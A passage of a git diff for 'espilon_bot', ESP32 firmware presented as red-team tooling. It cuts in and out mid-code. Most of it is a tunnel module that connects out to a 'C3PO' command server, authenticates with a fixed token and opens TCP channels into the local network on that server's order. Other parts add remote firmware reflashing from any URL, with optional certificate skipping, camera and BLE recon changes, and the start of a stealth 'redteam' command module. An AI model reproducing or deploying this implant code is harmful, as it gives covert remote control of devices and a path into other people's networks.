+ return; + } + if (len < 7) { + chan_send_error(chan_id, "OPEN too short"); + return; + } + + /* Parse target address */ + uint32_t ipv4_raw; + memcpy(&ipv4_raw, data, 4); + uint16_t port = ((uint16_t)data[4] << 8) | data[5]; + uint8_t domain_len = data[6]; + + struct sockaddr_in target = { + .sin_family = AF_INET, + .sin_port = htons(port), + }; + + /* Try domain resolution first (ESP32-side, sees target network DNS) */ + if (domain_len > 0 && len >= (uint16_t)(7 + domain_len)) { + char domain[256]; + memcpy(domain, data + 7, domain_len); + domain[domain_len] = '\0'; + + struct addrinfo hints = { .ai_family = AF_INET, .ai_socktype = SOCK_STREAM }; + struct addrinfo *result = NULL; + + ESP_LOGD(TAG, "chan %u resolving %s", chan_id, domain); + + if (getaddrinfo(domain, NULL, &hints, &result) == 0 && result) { + struct sockaddr_in *addr = (struct sockaddr_in *)result->ai_addr; + target.sin_addr = addr->sin_addr; + freeaddrinfo(result); + } else { + if (result) freeaddrinfo(result); + /* Fallback to provided IPv4 */ + target.sin_addr.s_addr = ipv4_raw; + } + } else { + target.sin_addr.s_addr = ipv4_raw; + } + + /* Create socket and start non-blocking connect */ + int s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); + if (s < 0) { + chan_send_error(chan_id, "socket() failed"); + return; + } + + /* Set connect timeout */ + struct timeval tv = { .tv_sec = TUN_CONNECT_TIMEOUT_S, .tv_usec = 0 }; + setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv)); + setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv)); + + char ip_str[INET_ADDRSTRLEN]; + inet_ntop(AF_INET, &target.sin_addr, ip_str, sizeof(ip_str)); + ESP_LOGI(TAG, "chan %u connecting to %s:%u", chan_id, ip_str, port); + + if (connect(s, (struct sockaddr *)&target, sizeof(target)) != 0) { + ESP_LOGW(TAG, "chan %u connect failed: %s", chan_id, strerror(errno)); + close(s); + chan_send_error(chan_id, "connect failed"); + return; + } + + /* Set non-blocking after connect succeeds */ + set_nonblocking(s); + + ch->sock = s; + ch->state = CHAN_OPEN; + ch->bytes_tx = 0; + ch->bytes_rx = 0; + + /* Send OPEN_OK */ + tun_send_frame(chan_id, TUN_FRAME_OPEN_OK, NULL, 0); + ESP_LOGI(TAG, "chan %u opened -> %s:%u", chan_id, ip_str, port); +} + +static void tun_handle_data(uint16_t chan_id, const uint8_t *data, uint16_t len) +{ + tun_channel_t *ch = chan_get(chan_id); + if (!ch || ch->state != CHAN_OPEN || ch->sock < 0) return; + + /* Temporarily set blocking for reliable send */ + int flags = fcntl(ch->sock, F_GETFL, 0); + fcntl(ch->sock, F_SETFL, flags & ~O_NONBLOCK); + + struct timeval tv = { .tv_sec = 5, .tv_usec = 0 }; + setsockopt(ch->sock, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv)); + + const uint8_t *p = data; + size_t remaining = len; + while (remaining > 0) { + int sent = send(ch->sock, p, remaining, 0); + if (sent <= 0) { + ESP_LOGW(TAG, "chan %u send error", chan_id); + chan_close(chan_id, TUN_CLOSE_RESET); + return; + } + p += sent; + remaining -= sent; + } + ch->bytes_tx += len; + + /* Restore non-blocking */ + fcntl(ch->sock, F_SETFL, flags); +} + +static void tun_handle_close(uint16_t chan_id) +{ + tun_channel_t *ch = chan_get(chan_id); + if (!ch || ch->state == CHAN_FREE) return; + + if (ch->sock >= 0) { + close(ch->sock); + ch->sock = -1; + } + ESP_LOGI(TAG, "chan %u closed by C3PO (tx=%"PRIu32" rx=%"PRIu32")", + chan_id, ch->bytes_tx, ch->bytes_rx); + ch->state = CHAN_FREE; + ch->bytes_tx = 0; + ch->bytes_rx = 0; +} + +static void tun_handle_ping(const uint8_t *data, uint16_t len) +{ + /* Echo back as PONG on channel 0 (control) */ + tun_send_frame(0, TUN_FRAME_PONG, data, len); +} + +/* ============================================================ + * Authentication + * ============================================================ */ + +static bool tun_authenticate(int sock) +{ + /* + * Send: magic[4] + flags[1] + device_id_len[1] + device_id[N] + * + encrypted("espilon-tunnel-v1") + * + * Encrypted token = nonce[12] + ciphertext[17] + tag[16] = 45 bytes + * C3PO verifies by decrypting with the device's derived key. + */ + + const char *dev_id = CONFIG_DEVICE_ID; + size_t id_len = strlen(dev_id); + + /* Encrypt auth token */ + uint8_t enc_token[TUN_AUTH_TOKEN_LEN + TUN_CRYPTO_OVERHEAD]; + int enc_len = crypto_encrypt( + (const uint8_t *)TUN_AUTH_TOKEN, TUN_AUTH_TOKEN_LEN, + enc_token, sizeof(enc_token) + ); + if (enc_len < 0) { + ESP_LOGE(TAG, "auth token encrypt failed"); + return false; + } + + /* Build handshake: magic + flags + id_len + id + encrypted_token */ + uint8_t flags = 0; +#ifdef CONFIG_TUNNEL_ENCRYPT + flags |= 0x01; /* Request AEAD mode */ +#endif + + size_t total = TUN_MAGIC_LEN + 1 + 1 + id_len + enc_len; + uint8_t *pkt = malloc(total); + if (!pkt) return false; + + size_t off = 0; + memcpy(pkt + off, TUN_MAGIC, TUN_MAGIC_LEN); off += TUN_MAGIC_LEN; + pkt[off++] = flags; + pkt[off++] = (uint8_t)id_len; + memcpy(pkt + off, dev_id, id_len); off += id_len; + memcpy(pkt + off, enc_token, enc_len); + + bool ok = send_all(sock, pkt, total); + free(pkt); + + if (!ok) { + ESP_LOGE(TAG, "auth handshake send failed"); + return false; + } + + /* Wait for response: 1 byte (0x00 = OK, 0x01 = FAILED) */ + uint8_t resp; + if (recv_exact(sock, &resp, 1, TUN_CONNECT_TIMEOUT_S) < 0) { + ESP_LOGE(TAG, "auth response timeout"); + return false; + } + + if (resp != 0x00) { + ESP_LOGE(TAG, "auth rejected (0x%02x)", resp); + return false; + } + + ESP_LOGI(TAG, "authenticated (flags=0x%02x)", flags); + return true; +} + +/* ============================================================ + * Main select() loop + * ============================================================ */ + +static void tun_dispatch_frames(void) +{ + uint16_t chan_id; + tun_frame_type_t type; + uint8_t frame_data[TUN_FRAME_MAX_DATA]; + uint16_t frame_len; + + while (true) { + int rc = tun_read_frame(&chan_id, &type, frame_data, &frame_len); + if (rc == 1) break; /* Incomplete frame, need more data */ + if (rc == -1) { + ESP_LOGW(TAG, "bad frame, skipping"); + continue; + } + + switch (type) { + case TUN_FRAME_OPEN: + tun_handle_open(chan_id, frame_data, frame_len); + break; + case TUN_FRAME_DATA: + tun_handle_data(chan_id, frame_data, frame_len); + break; + case TUN_FRAME_CLOSE: + tun_handle_close(chan_id); + break; + case TUN_FRAME_PING: + tun_handle_ping(frame_data, frame_len); + break; + case TUN_FRAME_PONG: + /* Received pong, tunnel is alive - nothing to do */ + break; + default: + ESP_LOGW(TAG, "unknown frame type 0x%02x", type); + break; + } + } +} + +/* Connect + authenticate to C3PO tunnel server. Returns socket or -1. */ +static int tun_connect_and_auth(void) +{ + struct sockaddr_in server = { + .sin_family = AF_INET, + .sin_port = htons(g_tun.c3po_port), + .sin_addr.s_addr = inet_addr(g_tun.c3po_ip), + }; + + int s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); + if (s < 0) return -1; + + struct timeval tv = { .tv_sec = TUN_CONNECT_TIMEOUT_S, .tv_usec = 0 }; + setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv)); + + if (connect(s, (struct sockaddr *)&server, sizeof(server)) != 0) { + close(s); + return -1; + } + + if (!tun_authenticate(s)) { + close(s); + return -1; + } + + return s; +} + +/* Run the select() loop until C3PO connection drops or tun_stop() called. */ +static void tun_select_loop(void) +{ + uint8_t data_buf[TUN_FRAME_MAX_DATA]; + g_tun.last_ping_tick = xTaskGetTickCount(); + + while (g_tun.running) { + fd_set read_fds; + FD_ZERO(&read_fds); + + int max_fd = g_tun.c3po_sock; + FD_SET(g_tun.c3po_sock, &read_fds); + + /* Add all open channel sockets */ + for (uint16_t i = 1; i <= TUN_MAX_CHANNELS; i++) { + tun_channel_t *ch = chan_get(i); + if (ch && ch->state == CHAN_OPEN && ch->sock >= 0) { + FD_SET(ch->sock, &read_fds); + if (ch->sock > max_fd) max_fd = ch->sock; + } + } + + struct timeval tv = { + .tv_sec = 0, + .tv_usec = TUN_SELECT_TIMEOUT_MS * 1000, + }; + + int ready = select(max_fd + 1, &read_fds, NULL, NULL, &tv); + + if (ready < 0) { + if (errno == EINTR) continue; + ESP_LOGE(TAG, "select() error: %s", strerror(errno)); + break; + } + + /* Read from C3PO tunnel socket */ + if (ready > 0 && FD_ISSET(g_tun.c3po_sock, &read_fds)) { + size_t space = sizeof(g_tun.rx_buf) - g_tun.rx_buf_len; + if (space > 0) { + int n = recv(g_tun.c3po_sock, + g_tun.rx_buf + g_tun.rx_buf_len, + space, 0); + if (n <= 0) { + ESP_LOGW(TAG, "C3PO connection lost"); + return; /* Break to reconnect loop */ + } + g_tun.rx_buf_len += n; + } + + tun_dispatch_frames(); + } + + /* Read from channel sockets, forward to C3PO */ + if (ready > 0) { + for (uint16_t i = 1; i <= TUN_MAX_CHANNELS; i++) { + tun_channel_t *ch = chan_get(i); + if (!ch || ch->state != CHAN_OPEN || ch->sock < 0) continue; + if (!FD_ISSET(ch->sock, &read_fds)) continue; + + int n = recv(ch->sock, data_buf, sizeof(data_buf), 0); + if (n > 0) { + ch->bytes_rx += n; + if (!tun_send_frame(i, TUN_FRAME_DATA, data_buf, (uint16_t)n)) { + ESP_LOGW(TAG, "C3PO send failed"); + return; /* Break to reconnect loop */ + } + } else if (n == 0) { + /* Target closed connection */ + chan_close(i, TUN_CLOSE_NORMAL); + } else { + if (errno != EAGAIN && errno != EWOULDBLOCK) { + chan_close(i, TUN_CLOSE_RESET); + } + } + } + } + + /* Periodic PING keepalive */ + uint32_t now = xTaskGetTickCount(); + if ((now - g_tun.last_ping_tick) >= + pdMS_TO_TICKS(TUN_PING_INTERVAL_S * 1000)) { + + uint32_t ts = (uint32_t)(now / portTICK_PERIOD_MS); + uint8_t ts_buf[4]; + ts_buf[0] = (ts >> 24) & 0xFF; + ts_buf[1] = (ts >> 16) & 0xFF; + ts_buf[2] = (ts >> 8) & 0xFF; + ts_buf[3] = ts & 0xFF; + tun_send_frame(0, TUN_FRAME_PING, ts_buf, 4); + g_tun.last_ping_tick = now; + } + } +} + +static void tun_task(void *arg) +{ + const char *req_id = (const char *)arg; + + msg_info(TAG, "tunnel connected", req_id); + + uint32_t backoff_ms = TUN_RECONNECT_MIN_MS; + + /* Outer reconnect loop */ + while (g_tun.running) { + /* Run until connection drops or tun_stop() */ + tun_select_loop(); + + /* Cleanup after disconnect */ + chan_close_all(); + if (g_tun.c3po_sock >= 0) { + close(g_tun.c3po_sock); + g_tun.c3po_sock = -1; + } + g_tun.rx_buf_len = 0; + + /* If stopped intentionally, exit */ + if (!g_tun.running) break; + + /* Reconnect with exponential backoff */ + ESP_LOGW(TAG, "reconnecting in %"PRIu32"ms...", backoff_ms); + vTaskDelay(pdMS_TO_TICKS(backoff_ms)); + + if (!g_tun.running) break; + + int s = tun_connect_and_auth(); + if (s >= 0) { + g_tun.c3po_sock = s; + g_tun.rx_buf_len = 0; + memset(g_tun.channels, 0, sizeof(g_tun.channels)); + for (int i = 0; i < TUN_MAX_CHANNELS; i++) + g_tun.channels[i].sock = -1; + + backoff_ms = TUN_RECONNECT_MIN_MS; /* Reset on success */ + ESP_LOGI(TAG, "tunnel reconnected"); + } else { + /* Exponential backoff: double, cap at max */ + backoff_ms *= 2; + if (backoff_ms > TUN_RECONNECT_MAX_MS) + backoff_ms = TUN_RECONNECT_MAX_MS; + ESP_LOGW(TAG, "reconnect failed, next attempt in %"PRIu32"ms", + backoff_ms); + } + } + + /* Final cleanup */ + chan_close_all(); + if (g_tun.c3po_sock >= 0) { + close(g_tun.c3po_sock); + g_tun.c3po_sock = -1; + } + g_tun.running = false; + g_tun.rx_buf_len = 0; + + msg_info(TAG, "tunnel stopped", req_id); + + /* Free heap-allocated request_id */ + if (req_id) free((void *)req_id); + + g_tun.task_handle = NULL; + vTaskDelete(NULL); +} + +/* ============================================================ + * Public API + * ============================================================ */ + +bool tun_start(const char *c3po_ip, int c3po_port, const char *req_id) +{ + if (g_tun.running) return false; + + /* Store address for reconnect */ + snprintf(g_tun.c3po_ip, sizeof(g_tun.c3po_ip), "%s", c3po_ip); + g_tun.c3po_port = c3po_port; + + /* Initial connection with retry loop */ + int s = -1; + for (int retry = 0; retry < TUN_MAX_RETRY; retry++) { + ESP_LOGI(TAG, "connecting to %s:%d (attempt %d)...", + c3po_ip, c3po_port, retry + 1); + + s = tun_connect_and_auth(); + if (s >= 0) break; + + vTaskDelay(pdMS_TO_TICKS(TUN_RETRY_DELAY_MS)); + } + + if (s < 0) { + msg_error(TAG, "unable to connect to tunnel server", req_id); + return false; + } + + /* Initialize state */ + g_tun.c3po_sock = s; + g_tun.rx_buf_len = 0; + g_tun.running = true; + +#ifdef CONFIG_TUNNEL_ENCRYPT + g_tun.encrypted = true; +#else + g_tun.encrypted = false; +#endif + + memset(g_tun.channels, 0, sizeof(g_tun.channels)); + for (int i = 0; i < TUN_MAX_CHANNELS; i++) { + g_tun.channels[i].sock = -1; + } + + /* Heap-copy request_id for the task (freed inside tun_task) */ + char *req_copy = req_id ? strdup(req_id) : NULL; + + xTaskCreatePinnedToCore( + tun_task, + "tun_task", + CONFIG_TUNNEL_TASK_STACK, + req_copy, + 5, + &g_tun.task_handle, + 1 /* Core 1 */ + ); + + return true; +} + +void tun_stop(void) +{ + g_tun.running = false; + /* Task will exit on next select() timeout and clean up */ +} + +bool tun_is_running(void) +{ + return g_tun.running; +} + +void tun_get_status(char *buf, size_t buf_len) +{ + if (!g_tun.running) { + snprintf(buf, buf_len, "tunnel=stopped"); + return; + } + + int open_chans = 0; + uint32_t total_tx = 0, total_rx = 0; + + for (int i = 0; i < TUN_MAX_CHANNELS; i++) { + if (g_tun.channels[i].state == CHAN_OPEN) { + open_chans++; + total_tx += g_tun.channels[i].bytes_tx; + total_rx += g_tun.channels[i].bytes_rx; + } + } + + snprintf(buf, buf_len, + "tunnel=running channels=%d/%d tx=%"PRIu32" rx=%"PRIu32" enc=%s", + open_chans, TUN_MAX_CHANNELS, + total_tx, total_rx, + g_tun.encrypted ? "aead" : "plain"); +} diff --git a/espilon_bot/components/mod_network/tun_core.h b/espilon_bot/components/mod_network/tun_core.h new file mode 100644 index 0000000..45f8e5f --- /dev/null +++ b/espilon_bot/components/mod_network/tun_core.h @@ -0,0 +1,126 @@ +#pragma once + +#include +#include +#include + +#include "sdkconfig.h" +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" + +/* ============================================================ + * Tuneable constants (Kconfig overrides) + * ============================================================ */ + +#ifndef CONFIG_TUNNEL_MAX_CHANNELS +#define CONFIG_TUNNEL_MAX_CHANNELS 8 +#endif + +#ifndef CONFIG_TUNNEL_FRAME_MAX +#define CONFIG_TUNNEL_FRAME_MAX 4096 +#endif + +#ifndef CONFIG_TUNNEL_TASK_STACK +#define CONFIG_TUNNEL_TASK_STACK 6144 +#endif + +/* ============================================================ + * Protocol constants + * ============================================================ */ + +#define TUN_MAX_CHANNELS CONFIG_TUNNEL_MAX_CHANNELS +#define TUN_FRAME_MAX_DATA CONFIG_TUNNEL_FRAME_MAX +#define TUN_FRAME_HDR_SIZE 5 /* chan_id(2) + type(1) + length(2) */ +#define TUN_FRAME_MAX_PLAIN (TUN_FRAME_HDR_SIZE + TUN_FRAME_MAX_DATA) + +/* Crypto overhead: nonce(12) + tag(16) */ +#define TUN_CRYPTO_NONCE_LEN 12 +#define TUN_CRYPTO_TAG_LEN 16 +#define TUN_CRYPTO_OVERHEAD (TUN_CRYPTO_NONCE_LEN + TUN_CRYPTO_TAG_LEN) + +/* Encrypted frame: 2-byte length prefix + nonce + encrypted(header+data) + tag */ +#define TUN_FRAME_MAX_ENC (2 + TUN_FRAME_MAX_PLAIN + TUN_CRYPTO_OVERHEAD) + +/* RX buffer must hold the largest possible frame */ +#define TUN_RX_BUF_SIZE TUN_FRAME_MAX_ENC + +/* Timeouts & limits */ +#define TUN_CONNECT_TIMEOUT_S 5 +#define TUN_SELECT_TIMEOUT_MS 100 +#define TUN_MAX_RETRY 10 +#define TUN_RETRY_DELAY_MS 5000 +#define TUN_PING_INTERVAL_S 30 +#define TUN_OPEN_TIMEOUT_S 10 + +/* Reconnect backoff (exponential: min -> min*2 -> ... -> max) */ +#define TUN_RECONNECT_MIN_MS 1000 +#define TUN_RECONNECT_MAX_MS 30000 + +/* Authentication */ +#define TUN_MAGIC "TUN\x01" +#define TUN_MAGIC_LEN 4 +#define TUN_AUTH_TOKEN "espilon-tunnel-v1" +#define TUN_AUTH_TOKEN_LEN 17 + +/* ============================================================ + * Frame types + * ============================================================ */ + +typedef enum { + TUN_FRAME_OPEN = 0x01, + TUN_FRAME_OPEN_OK = 0x02, + TUN_FRAME_DATA = 0x03, + TUN_FRAME_CLOSE = 0x04, + TUN_FRAME_ERROR = 0x05, + TUN_FRAME_PING = 0x06, + TUN_FRAME_PONG = 0x07, +} tun_frame_type_t; + +/* Close reasons */ +#define TUN_CLOSE_NORMAL 0 +#define TUN_CLOSE_RESET 1 +#define TUN_CLOSE_TIMEOUT 2 + +/* ============================================================ + * Channel state + * ============================================================ */ + +typedef enum { + CHAN_FREE = 0, + CHAN_CONNECTING, + CHAN_OPEN, + CHAN_CLOSING, +} tun_chan_state_t; + +typedef struct { + tun_chan_state_t state; + int sock; /* Target-side TCP socket, -1 if free */ + uint32_t bytes_tx; + uint32_t bytes_rx; +} tun_channel_t; + +/* ============================================================ + * Global tunnel state + * ============================================================ */ + +typedef struct { + volatile bool running; + bool encrypted; /* Per-frame AEAD mode */ + int c3po_sock; /* Socket to C3PO tunnel server */ + tun_channel_t channels[TUN_MAX_CHANNELS]; + uint8_t rx_buf[TUN_RX_BUF_SIZE]; + size_t rx_buf_len; /* Bytes buffered (partial frame) */ + TaskHandle_t task_handle; + uint32_t last_ping_tick; /* For keepalive */ + char c3po_ip[48]; /* Stored for reconnect */ + int c3po_port; /* Stored for reconnect */ +} tun_state_t; + +/* ============================================================ + * Public API + * ============================================================ */ + +bool tun_start(const char *c3po_ip, int c3po_port, const char *req_id); +void tun_stop(void); +bool tun_is_running(void); +void tun_get_status(char *buf, size_t buf_len); diff --git a/espilon_bot/components/mod_ota/CMakeLists.txt b/espilon_bot/components/mod_ota/CMakeLists.txt new file mode 100644 index 0000000..60d09c4 --- /dev/null +++ b/espilon_bot/components/mod_ota/CMakeLists.txt @@ -0,0 +1,5 @@ +idf_component_register( + SRCS cmd_ota.c + INCLUDE_DIRS . + REQUIRES core esp_https_ota app_update esp_http_client mbedtls +) diff --git a/espilon_bot/components/mod_ota/cmd_ota.c b/espilon_bot/components/mod_ota/cmd_ota.c new file mode 100644 index 0000000..25e65b1 --- /dev/null +++ b/espilon_bot/components/mod_ota/cmd_ota.c @@ -0,0 +1,159 @@ +/* + * cmd_ota.c + * OTA firmware update commands (HTTPS + cert bundle) + * Compiled as empty when CONFIG_ESPILON_OTA_ENABLED is not set. + */ +#include "sdkconfig.h" + +#ifdef CONFIG_ESPILON_OTA_ENABLED + +#include +#include + +#include "esp_log.h" +#include "esp_system.h" +#include "esp_ota_ops.h" +#include "esp_https_ota.h" +#include "esp_http_client.h" +#include "esp_crt_bundle.h" + +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" + +#include "utils.h" + +#define TAG "OTA" + +/* ============================================================ + * COMMAND: ota_update (async) + * ============================================================ */ +static esp_err_t cmd_ota_update( + int argc, + char **argv, + const char *req, + void *ctx +) { + (void)ctx; + + const char *url = argv[0]; + char buf[256]; + + snprintf(buf, sizeof(buf), "url=%s", url); + msg_info(TAG, buf, req); + + esp_http_client_config_t http_config = { + .url = url, +#ifdef CONFIG_ESPILON_OTA_ALLOW_HTTP + .skip_cert_common_name_check = true, +#else + .crt_bundle_attach = esp_crt_bundle_attach, +#endif + .timeout_ms = 30000, + .keep_alive_enable = true, + }; + + esp_https_ota_config_t ota_config = { + .http_config = &http_config, + }; + + esp_https_ota_handle_t ota_handle = NULL; + esp_err_t err = esp_https_ota_begin(&ota_config, &ota_handle); + if (err != ESP_OK) { + snprintf(buf, sizeof(buf), "begin_failed=%s", esp_err_to_name(err)); + msg_error(TAG, buf, req); + return err; + } + + int total_size = esp_https_ota_get_image_size(ota_handle); + int last_pct = -1; + + while (1) { + err = esp_https_ota_perform(ota_handle); + if (err != ESP_ERR_HTTPS_OTA_IN_PROGRESS) break; + + if (total_size > 0) { + int bytes_read = esp_https_ota_get_image_len_read(ota_handle); + int pct = (bytes_read * 100) / total_size; + if (pct / 10 != last_pct / 10) { + last_pct = pct; + snprintf(buf, sizeof(buf), "progress=%d%%", pct); + msg_info(TAG, buf, req); + } + } + } + + if (err != ESP_OK) { + snprintf(buf, sizeof(buf), "download_failed=%s", esp_err_to_name(err)); + msg_error(TAG, buf, req); + esp_https_ota_abort(ota_handle); + return err; + } + + err = esp_https_ota_finish(ota_handle); + if (err != ESP_OK) { + if (err == ESP_ERR_OTA_VALIDATE_FAILED) { + msg_error(TAG, "validate_failed=image_corrupted", req); + } else { + snprintf(buf, sizeof(buf), "finish_failed=%s", esp_err_to_name(err)); + msg_error(TAG, buf, req); + } + return err; + } + + msg_info(TAG, "status=success rebooting=true", req); + vTaskDelay(pdMS_TO_TICKS(500)); + esp_restart(); + + return ESP_OK; +} + +/* ============================================================ + * COMMAND: ota_status + * ============================================================ */ +static esp_err_t cmd_ota_status( + int argc, + char **argv, + const char *req, + void *ctx +) { + (void)argc; + (void)argv; + (void)ctx; + + const esp_partition_t *running = esp_ota_get_running_partition(); + const esp_partition_t *boot = esp_ota_get_boot_partition(); + + esp_app_desc_t app_desc; + esp_ota_get_partition_description(running, &app_desc); + + char buf[256]; + snprintf(buf, sizeof(buf), + "partition=%s boot=%s version=%s idf=%s", + running ? running->label : "?", + boot ? boot->label : "?", + app_desc.version, + app_desc.idf_ver + ); + + msg_info(TAG, buf, req); + return ESP_OK; +} + +/* ============================================================ + * COMMAND REGISTRATION + * ============================================================ */ +static const command_t ota_cmds[] = { + { "ota_update", NULL, "OTA update from HTTPS URL", 1, 1, cmd_ota_update, NULL, true }, + { "ota_status", NULL, "Current firmware info", 0, 0, cmd_ota_status, NULL, false }, +}; + +void mod_ota_register_commands(void) +{ + ESPILON_LOGI_PURPLE(TAG, "Registering OTA commands"); + + for (size_t i = 0; i < sizeof(ota_cmds) / sizeof(ota_cmds[0]); i++) { + command_register(&ota_cmds[i]); + } +} + +#endif /* CONFIG_ESPILON_OTA_ENABLED */ diff --git a/espilon_bot/components/mod_ota/cmd_ota.h b/espilon_bot/components/mod_ota/cmd_ota.h new file mode 100644 index 0000000..9d026d0 --- /dev/null +++ b/espilon_bot/components/mod_ota/cmd_ota.h @@ -0,0 +1,3 @@ +#pragma once + +void mod_ota_register_commands(void); diff --git a/espilon_bot/components/mod_recon/CMakeLists.txt b/espilon_bot/components/mod_recon/CMakeLists.txt index 4b80628..dfb64d0 100644 --- a/espilon_bot/components/mod_recon/CMakeLists.txt +++ b/espilon_bot/components/mod_recon/CMakeLists.txt @@ -1,13 +1,36 @@ -idf_component_register( - SRCS - "mod_cam.c" - # "mod_trilat.c" # Disabled for now - needs BT config - INCLUDE_DIRS - "." - REQUIRES - command - esp_wifi - nvs_flash - esp_http_client - espressif__esp32-camera -) +set(RECON_SRCS "") + +if(CONFIG_RECON_MODE_CAMERA) + list(APPEND RECON_SRCS "mod_cam.c") +endif() + +if(CONFIG_RECON_MODE_MLAT) + list(APPEND RECON_SRCS "mod_mlat.c") +endif() + +# mod_trilat.c: legacy BLE trilateration (requires full BT stack) +# Uncomment if needed with CONFIG_BT_ENABLED=y +# list(APPEND RECON_SRCS "mod_trilat.c") + +if(NOT RECON_SRCS) + # No active recon sub-modules — register as header-only component + idf_component_register( + INCLUDE_DIRS "." + ) +else() + set(RECON_REQUIRES core esp_wifi nvs_flash) + + if(CONFIG_RECON_MODE_CAMERA) + list(APPEND RECON_REQUIRES esp_http_client espressif__esp32-camera) + endif() + + if(CONFIG_RECON_MODE_MLAT) + list(APPEND RECON_REQUIRES esp_timer) + endif() + + idf_component_register( + SRCS ${RECON_SRCS} + INCLUDE_DIRS "." + REQUIRES ${RECON_REQUIRES} + ) +endif() diff --git a/espilon_bot/components/mod_recon/mod_cam.c b/espilon_bot/components/mod_recon/mod_cam.c index 8ff5995..5b66123 100644 --- a/espilon_bot/components/mod_recon/mod_cam.c +++ b/espilon_bot/components/mod_recon/mod_cam.c @@ -16,7 +16,7 @@ #include #include -#include "command.h" +#include "esp_heap_caps.h" #include "utils.h" /* ============================================================ @@ -84,11 +84,20 @@ static bool init_camera(void) .pixel_format = PIXFORMAT_JPEG, .frame_size = FRAMESIZE_QQVGA, .jpeg_quality = 20, - .fb_count = 2, - .fb_location = CAMERA_FB_IN_PSRAM, + .fb_count = 1, + .fb_location = CAMERA_FB_IN_DRAM, .grab_mode = CAMERA_GRAB_LATEST }; + /* Use PSRAM if available (requires bootloader with SPIRAM support) */ + if (heap_caps_get_total_size(MALLOC_CAP_SPIRAM) > 0) { + cfg.fb_location = CAMERA_FB_IN_PSRAM; + cfg.fb_count = 2; + ESP_LOGI(TAG, "PSRAM available, using 2 frame buffers"); + } else { + ESP_LOGW(TAG, "No PSRAM, using DRAM with 1 frame buffer"); + } + if (esp_camera_init(&cfg) != ESP_OK) { msg_error(TAG, "camera init failed", NULL); return false; @@ -125,9 +134,8 @@ static void udp_stream_task(void *arg) frame_count++; size_t num_chunks = (fb->len + MAX_UDP_SIZE - 1) / MAX_UDP_SIZE; - /* DEBUG: Log frame info every 10 frames */ if (frame_count % 10 == 1) { - ESP_LOGI(TAG, "frame #%lu: %u bytes, %u chunks, sock=%d", + ESP_LOGD(TAG, "frame #%lu: %u bytes, %u chunks, sock=%d", frame_count, fb->len, num_chunks, udp_sock); } diff --git a/espilon_bot/components/mod_recon/mod_mlat.c b/espilon_bot/components/mod_recon/mod_mlat.c index 143383e..1b8283d 100644 --- a/espilon_bot/components/mod_recon/mod_mlat.c +++ b/espilon_bot/components/mod_recon/mod_mlat.c @@ -45,7 +45,6 @@ #include "esp_wifi.h" #include "esp_event.h" -#include "command.h" #include "utils.h" #if defined(CONFIG_RECON_MODE_MLAT) diff --git a/espilon_bot/components/mod_recon/mod_trilat.c b/espilon_bot/components/mod_recon/mod_trilat.c index 6c382c2..e80c55d 100644 --- a/espilon_bot/components/mod_recon/mod_trilat.c +++ b/espilon_bot/components/mod_recon/mod_trilat.c @@ -17,7 +17,6 @@ #include "esp_http_client.h" -#include "command.h" #include "utils.h" /* ============================================================ @@ -186,7 +185,7 @@ static void ble_init(void) * ============================================================ */ static esp_err_t cmd_trilat_start(int argc, char **argv, const char *request_id, void *ctx) { - if (argc != 4) + if (argc != 3) return msg_error(TAG, "usage: trilat start ", request_id); if (trilat_running) @@ -194,11 +193,11 @@ static esp_err_t cmd_trilat_start(int argc, char **argv, const char *request_id, ESP_ERROR_CHECK(nvs_flash_init()); - if (!parse_mac_str(argv[1], target_mac)) + if (!parse_mac_str(argv[0], target_mac)) return msg_error(TAG, "invalid MAC", request_id); - strncpy(target_url, argv[2], MAX_LEN-1); - strncpy(auth_bearer, argv[3], MAX_LEN-1); + strncpy(target_url, argv[1], MAX_LEN-1); + strncpy(auth_bearer, argv[2], MAX_LEN-1); snprintf(auth_header, sizeof(auth_header), "Bearer %s", auth_bearer); if (!buffer_mutex) @@ -238,8 +237,8 @@ static const command_t cmd_trilat_start_def = { .handler = cmd_trilat_start, .ctx = NULL, .async = false, - .min_args = 4, - .max_args = 4 + .min_args = 3, + .max_args = 3 }; static const command_t cmd_trilat_stop_def = { @@ -249,8 +248,8 @@ static const command_t cmd_trilat_stop_def = { .handler = cmd_trilat_stop, .ctx = NULL, .async = false, - .min_args = 2, - .max_args = 2 + .min_args = 0, + .max_args = 0 }; void mod_ble_trilat_register_commands(void) diff --git a/espilon_bot/components/mod_redteam/CMakeLists.txt b/espilon_bot/components/mod_redteam/CMakeLists.txt new file mode 100644 index 0000000..92d5063 --- /dev/null +++ b/espilon_bot/components/mod_redteam/CMakeLists.txt @@ -0,0 +1,5 @@ +idf_component_register( + SRCS cmd_redteam.c rt_config.c rt_hunt.c rt_stealth.c rt_captive.c rt_mesh.c + INCLUDE_DIRS . + REQUIRES core nvs_flash lwip esp_wifi freertos esp_timer +) diff --git a/espilon_bot/components/mod_redteam/cmd_redteam.c b/espilon_bot/components/mod_redteam/cmd_redteam.c new file mode 100644 index 0000000..d0c6b55 --- /dev/null +++ b/espilon_bot/components/mod_redteam/cmd_redteam.c @@ -0,0 +1,319 @@ +/* + * cmd_redteam.c + * Red Team resilient connectivity — 7 C2 commands. + */ +#include "sdkconfig.h" +#include "cmd_redteam.h" + +#ifdef CONFIG_MODULE_REDTEAM + +#include +#include + +#include "esp_log.h" +#include "utils.h" + +#include "rt_config.h" +#include "rt_hunt.h" +#include "rt_stealth.h" +#include "rt_mesh.h" + +#define TAG "RT" + +/* ============================================================ + * COMMAND: rt_hunt [auto] + * Start the hunt. "auto" = enable auto-trigger on TCP failure. + * ============================================================ */ +static int cmd_rt_hunt(int argc, char **argv, const char *req, void *ctx) +{ + (void)ctx; + + if (rt_hunt_is_active()) { + msg_info(TAG, "Hunt already running", req); + return 0; + } + + rt_hunt_trigger(); + msg_info(TAG, "Hunt started", req); + return 0; +} + +/* ============================================================ + * COMMAND: rt_stop + * Stop hunt, restore WiFi + MAC + TX power. + * ============================================================ */ +static int cmd_rt_stop(int argc, char **argv, const char *req, void *ctx) +{ + (void)argc; (void)argv; (void)ctx; + + if (!rt_hunt_is_active()) { + msg_info(TAG, "Hunt not running", req); + return 0; + } + + 